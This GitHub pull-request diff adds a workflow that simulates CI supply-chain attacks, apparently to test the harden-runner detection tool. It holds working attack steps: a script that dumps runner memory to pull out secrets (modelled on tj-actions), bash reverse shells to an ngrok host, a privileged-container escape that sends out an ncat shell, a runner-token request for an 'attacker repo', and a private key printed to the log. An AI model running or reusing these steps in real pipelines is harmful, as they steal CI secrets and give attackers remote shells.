Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
241 changes: 241 additions & 0 deletions .github/workflows/POC-detections-gh-hosted.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,241 @@
name: POC Detections
on:
workflow_dispatch:
inputs:
run_only_anomalous:
description: 'Run only the anomalous-outbound-call job'
required: false
default: false
type: boolean

anomalous_domain:
description: 'Domain for anomalous outbound call (e.g., https://www.pastebin.com)'
required: false
default: ''
type: string


jobs:
tj-actions-simulation:
if: ${{ github.event.inputs.run_only_anomalous != 'true' }}
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@v2
with:
egress-policy: audit

- name: Checkout
uses: actions/checkout@v4

- name: Execute tj-action
run: |
# Create tj.py inline
cat << 'PYTHON_SCRIPT' > tj.py
#!/usr/bin/env python3
import os
import re
import sys

def get_pid():
# https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read():
return pid
except (IOError, PermissionError):
continue
raise Exception('Can not get pid of Runner.Worker')

if __name__ == "__main__":
try:
pid = get_pid()
print(f"Found Runner.Worker process with PID: {pid}")
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"

try:
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
print(f"Successfully opened memory maps file")
for line in map_f.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m and m.group(3) == 'r': # readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
# hotfix: OverflowError: Python int too large to convert to C long
# 18446744073699065856
if start > sys.maxsize:
continue
mem_f.seek(start) # seek to region start

try:
chunk = mem_f.read(end - start) # read region contents
sys.stdout.buffer.write(chunk)
except OSError:
continue
except PermissionError as e:
print(f"Error: Permission denied. This script needs to be run with root privileges.")
print(f"Error: {e}")
print("Try running with: sudo python3 tj.py")
sys.exit(1)
except Exception as e:
print(f"Error accessing process memory: {e}")
sys.exit(1)
except Exception as e:
print(f"Error: {e}")
sys.exit(1)
PYTHON_SCRIPT

# Execute the script
sudo python3 tj.py | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0

pytorch-simulation:
if: ${{ github.event.inputs.run_only_anomalous != 'true' }}
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@v2
with:
egress-policy: audit
- name: Checkout
uses: actions/checkout@v4
- name: Generate a registration token for attacker repo
run: |
response=$(curl -X POST -H "Authorization: token github_pat_dummy_token" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/repos/step-security-experiments/github-actions-goat/actions/runners/registration-token)
reverse-shell:
if: ${{ github.event.inputs.run_only_anomalous != 'true' }}
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@v2
with:
egress-policy: audit

- name: Reverse shell
run: |
bash -c "bash -i >& /dev/tcp/0.tcp.us-cal-1.ngrok.io/17658 0>&1"
privileged-conatiner:
if: ${{ github.event.inputs.run_only_anomalous != 'true' }}
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@v2
with:
egress-policy: audit

- name: Dind escape
run: |
docker run --privileged --cap-add=ALL -v /:/host raesene/ncat:latest 0.tcp.us-cal-1.ngrok.io 17658 -e /bin/bash

handle-private-key:
if: ${{ github.event.inputs.run_only_anomalous != 'true' }}
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@v2
with:
egress-policy: audit
- name: Checkout code
uses: actions/checkout@v3

- name: Decode and print private key
env:
# This is a base64 encoded dummy private key (NOT A REAL KEY)
# In production, this should be stored in GitHub Secrets
ENCODED_PRIVATE_KEY: |
LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tTUlJRXZnSUJBREFOQmdrcWhraUc5dzBCQVFFRkFBU0NCS2d3Z2dTa0FnRUFBb0lCQVFDN1ZKVFV0OVVzOGNLagpNekVmWXlqaVdBNFI0L00yYlMxR0I0dDdOWHA5OEMzU0M2ZFZNdkR1aWN0R2V1clQ4ak5idkpaSHRDU3VZRWNONXI0RQpKV25YaXNLNVkrVHYra1pnWlBtNXdRQTB3MVd1cGZhUlZQUGhoR2dUN1daeEM3UFJMTjIvaUo5dDJRTGloNzlEMFF1ZwpINFE3clB3SVVDdzdOYjJYSVpHc1VYSzJhZmlJM24vT1NQSHVRR0dCRnhIcWI3VWwzM3lJdUN4UjBJcTVuem1RTENFVApSYm5pRzRoeE5aMEo3a3hwZzdtWk5LQ1JKd0NRSFl0SEhxVVVOTGl4Q01TNDU1cWo5SUhJTVYwbEc0NFhLWEV6U0oxWgpjajZuQ1B6aFJtUXBDd2p0MWJJT0NWU0VKMUppU204YTVTdUpLRkxtQWlVTmtsZnJOckdEMjN1RUlRSURBUUFCQW9JQgpBQUh0QmJZcDBBdzVOTi9lV0ROUDVuekZFYVhSWmM3QUNuc3BQN1VFSUZZeDkrNW5BU1pnc0l1ZUh4VlpiZ25QTTl6RQotLS0tLUVORCBQUklWQVRFIEtFWS0tLS0t
run: |
echo "Decoding private key..."
echo "$ENCODED_PRIVATE_KEY" | base64 -d > private_key.pem

echo "Private key content:"
cat private_key.pem
imposter-commit:
if: ${{ github.event.inputs.run_only_anomalous != 'true' }}
runs-on: ubuntu-latest

steps:
- uses: step-security/harden-runner@v2
with:
egress-policy: audit
- name: Checkout code
uses: actions/checkout@v3
- uses: step-security/dummy-imposter-commit-action@v1
unauthorized-outbound-call:
if: ${{ github.event.inputs.run_only_anomalous != 'true' }}
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@v2
with:
egress-policy: block
allowed-endpoints: >
github.com:443
goreleaser.com:443
www.google.com:443
- name: Checkout code
uses: actions/checkout@v3

- name: Run outbound calls from host
run: |
start_time=$(date +%s)
end_time=$((start_time + 30))

while [ $(date +%s) -lt $end_time ]; do
curl -I https://www.google.com
curl -I https://goreleaser.com
sleep 10 # wait 10 seconds between calls
done

- run: |
bash -c "bash -i >& /dev/tcp/0.tcp.us-cal-1.ngrok.io/17658 0>&1"
anomalous-outbound-call:
# Baseline Generation Script:
# To quickly run this job 100 times for baseline generation, use this script:
#
# #!/bin/bash
# OWNER="your-github-username"
# REPO="your-repo-name"
# WORKFLOW_FILE="poc_workflow.yml"
#
# echo "Running anomalous job 100 times for baseline generation..."
# for i in {1..100}; do
# echo "Triggering baseline run #$i"
# gh workflow run "$WORKFLOW_FILE" \
# --repo "$OWNER/$REPO" \
# --field enable_anomalous_call=false \
# --field run_only_anomalous=true &
#
# # Add small delay every 20 requests to avoid rate limiting
# if (( i % 20 == 0 )); then
# sleep 1
# fi
# done
# wait
# echo "All 100 baseline runs triggered!"
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@v2
with:
egress-policy: audit

- name: Checkout code
uses: actions/checkout@v3

- name: Run outbound calls from host
run: |
start_time=$(date +%s)
end_time=$((start_time + 30))

while [ $(date +%s) -lt $end_time ]; do
curl -I https://www.google.com
curl -I https://goreleaser.com
sleep 10 # wait 10 seconds between calls
done

- name: Make anomalous outbound call
if: ${{ github.event.inputs.anomalous_domain != '' }}
run: |
ANOMALOUS_DOMAIN="${{ github.event.inputs.anomalous_domain }}"
echo "Making anomalous call to: $ANOMALOUS_DOMAIN"

# Attempt to connect to the domain
curl -I --max-time 5 "$ANOMALOUS_DOMAIN" || true
Loading